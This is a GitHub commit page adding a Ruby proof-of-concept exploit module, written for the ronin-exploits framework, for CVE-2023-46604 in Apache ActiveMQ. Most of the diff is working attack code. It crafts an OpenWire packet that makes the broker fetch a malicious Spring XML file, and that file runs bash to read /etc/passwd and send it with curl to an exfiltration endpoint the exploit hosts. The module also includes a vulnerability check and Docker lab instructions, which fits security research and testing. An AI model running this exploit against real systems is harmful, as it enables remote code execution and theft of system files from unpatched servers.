Skip to content

Commit

Permalink
POC exploit for CVE-2023-46604
Browse files Browse the repository at this point in the history
  • Loading branch information
flavorjones committed May 17, 2024
1 parent 93977df commit 77cd296
Show file tree
Hide file tree
Showing 2 changed files with 230 additions and 6 deletions.
13 changes: 7 additions & 6 deletions Gemfile
Original file line number Diff line number Diff line change
@@ -1,11 +1,12 @@
source 'https://rubygems.org'

gem 'ronin-core', '~> 0.2', github: 'ronin-rb/ronin-core',
branch: '0.2.0'
gem 'ronin-payloads', '~> 0.2', github: 'ronin-rb/ronin-payloads',
branch: '0.2.0'
gem 'ronin-exploits', '~> 1.1', github: 'ronin-rb/ronin-exploits',
branch: '1.1.0'
gem 'ronin-core', '~> 0.2', github: 'ronin-rb/ronin-core',
branch: '0.2.0'
gem 'ronin-payloads', '~> 0.2', github: 'ronin-rb/ronin-payloads',
branch: '0.2.0'
gem 'ronin-exploits', '~> 1.1', github: 'ronin-rb/ronin-exploits',
branch: '1.1.0'
gem 'ronin-web-server', '~> 0.1.1'

group :development do
gem 'rubocop', require: false, platform: :mri
Expand Down
223 changes: 223 additions & 0 deletions exploits/activemq/CVE-2023-46604.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,223 @@
#!/usr/bin/env -S ronin-exploits run -f

require "ronin/exploits/exploit"
require "ronin/exploits/mixins/remote_tcp"
require "ronin/support/binary/stream"
require "ronin/web/server"

module Ronin
module Exploits
#
# This exploit is based on an examination the following prior art:
#
# - https://github.com/ST3G4N05/ExploitScript-CVE-2023-46604
# - https://github.com/Mudoleto/Broker_ApacheMQ
# - https://github.com/dcm2406/CVE-2023-46604
# - https://github.com/mrpentst/CVE-2023-46604
#
# The exploit has two steps:
#
# 1. send a crafted OpenWire message to the ActiveMQ server, which will cause the server to connect
# to a URL that may contain a malicious XML payload
# 2. serve a malicious XML payload that will cause the server to execute arbitrary shell commands
#
#
# == Verification
#
# To verify against a vulnerable docker image:
#
# docker run --detach --rm -p 61616:61616 --network=host veita/test-activemq:5.18.2
# exploits/activemq/CVE-2023-46604.rb -p host=localhost -p port=61616
#
# against a not-vulnerable docker image:
#
# docker run --detach --rm -p 61616:61616 --network=host veita/test-activemq:5.18.3
# exploits/activemq/CVE-2023-46604.rb -p host=localhost -p port=61616
#
# You can read more about that docker container at https://github.com/veita/cont-test-activemq
#
#
# == Implementation details
#
# For details on OpenWire wire format see:
#
# - https://activemq.apache.org/components/classic/documentation/openwire-version-2-specification
# - https://github.com/apache/activemq-openwire
#
class CVE_2023_46604 < Exploit

include Mixins::RemoteTCP

register "activemq/CVE-2023-46604"

quality :poc
release_date "2024-05-03"
disclosure_date "2023-10-27"
advisory "CVE-2023-46604"

author "Mike Dalessio", email: "mike.dalessio@gmail.com"
summary "Remote code execution in Apache ActiveMQ <5.15.16, <5.16.7, <5.17.6, <5.18.3"
description <<~DESC
The Java OpenWire protocol marshaller is vulnerable to Remote Code Execution. This
vulnerability may allow a remote attacker with network access to either a Java-based
OpenWire broker or client to run arbitrary shell commands by manipulating serialized class
types in the OpenWire protocol to cause either the client or the broker (respectively) to
instantiate any class on the classpath. Users are recommended to upgrade both brokers and
clients to version 5.15.16, 5.16.7, 5.17.6, or 5.18.3 which fixes this issue.
DESC
references [
"https://nvd.nist.gov/vuln/detail/CVE-2023-46604",
"https://github.com/ST3G4N05/ExploitScript-CVE-2023-46604",
"https://github.com/ST3G4N05/ExploitScript-CVE-2023-46604/blob/main/shell.py",
"https://github.com/ST3G4N05/ExploitScript-CVE-2023-46604/blob/main/config.xml",
"https://github.com/dcm2406/CVE-2023-46604",
"https://github.com/dcm2406/CVE-2023-46604/blob/master/exploit.py",
"https://github.com/dcm2406/CVE-2023-46604/blob/master/poc.xml",
"https://github.com/mrpentst/CVE-2023-46604",
"https://github.com/mrpentst/CVE-2023-46604/blob/main/exploit.py",
"https://github.com/mrpentst/CVE-2023-46604/blob/main/poc.xml",
]

#
# Test whether the target system is vulnerable.
#
def test
wireformat_message = nil
tcp_connect do |socket|
socket.close_write
wireformat_message = socket.read
end

version = pluck_provider_version(wireformat_message)
return Unknown("host is not reporting a provider version") if version.nil?
print_info("Detected provider version: #{version}")

version = Gem::Version.new(version)
if (version < Gem::Version.new("5.15.16") && version >= Gem::Version.new("5.15.0")) ||
(version < Gem::Version.new("5.16.7") && version >= Gem::Version.new("5.16.0")) ||
(version < Gem::Version.new("5.17.6") && version >= Gem::Version.new("5.17.0")) ||
(version < Gem::Version.new("5.18.3") && version >= Gem::Version.new("5.18.0"))
return Vulnerable("host is vulnerable to CVE-2023-46604")
else
return NotVulnerable("host is not vulnerable to CVE-2023-46604")
end
end

default_port 61616
param :web_host, default: "localhost",
desc: "A routable hostname for the exploit runner's web server"
param :web_port, Integer, default: 1024 + rand(65535 - 1024),
desc: "A listen port for the exploit runner's web server"

JAVA_CLASSNAME = "org.springframework.context.support.ClassPathXmlApplicationContext"
PROVIDER_VERSION = "ProviderVersion"
STRING_TYPE = 9

def build
@web_host = params[:web_host]
@web_port = params[:web_port]
web_url = "http://#{@web_host}:#{@web_port}"

buffer = Ronin::Support::Binary::Buffer.new(1024, endian: :net)
buffer.put_uint8(4, 0x1f) # EXCEPTION_RESPONSE
.put_uint8(14, 0x01)
cursor = 15
buffer.put_uint8(cursor, 0x01)
.put_uint16(cursor+1, JAVA_CLASSNAME.length)
.put_string(cursor+3, JAVA_CLASSNAME)
cursor += 3 + JAVA_CLASSNAME.length
buffer.put_uint8(cursor, 0x01)
.put_uint16(cursor+1, web_url.length)
.put_string(cursor+3, web_url)
cursor += 3 + web_url.length
buffer.put_uint32(0, cursor-4)
@payload1 = buffer.to_s[0..cursor-1]

@payload2 = <<~XML
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg >
<list>
<value>bash</value>
<value>-c</value>
<value>cat /etc/passwd | curl --data-binary @- #{web_url}/exfil</value>
</list>
</constructor-arg>
</bean>
</beans>
XML
end

def launch
queue = Thread::Queue.new
runner = self
injection = @payload2

@server_thread = Ronin::Web.server do
set :bind, runner.params[:web_host]
set :port, runner.params[:web_port]

get("/") do
runner.print_info "Received HTTP request"
queue.push(:get)
injection
end

post("/exfil") do
runner.print_info "Received RCE exfiltration:\n" + request.body.read
queue.push(:exfil)
""
end

on_start do
queue.push(:start)
end

on_stop do
queue.push(:stop)
end
end
queue.pop # :start

print_info "Sending OpenWire payload:"
@payload1.hexdump

tcp_send(@payload1)

return if queue.pop == :stop # :get
return if queue.pop == :stop # :get
queue.pop # :exfil
end

def cleanup
@server_thread&.stop!
end

private

# we're taking the easy way out by not parsing the whole message, just finding the
# "ProviderVersion" property and pulling it out of the message.
def pluck_provider_version(message)
print_info "Extracting provider version from OpenWire WIREFORMAT message:"
message.hexdump

property_index = message.index(PROVIDER_VERSION)
return nil if property_index.nil?

offset = property_index + PROVIDER_VERSION.length
buffer = Support::Binary::Buffer.new(message.byteslice(offset..), endian: :net)

ptype = buffer.get_byte(0)
fail("unknown primitive type #{ptype}, expected #{STRING_TYPE}") if ptype != STRING_TYPE

plen = buffer.get_int16(1)
fail("unexpected string len #{plen}") if plen <= 0

buffer.get_string(3, plen)
end
end
end
end

0 comments on commit 77cd296

Please sign in to comment.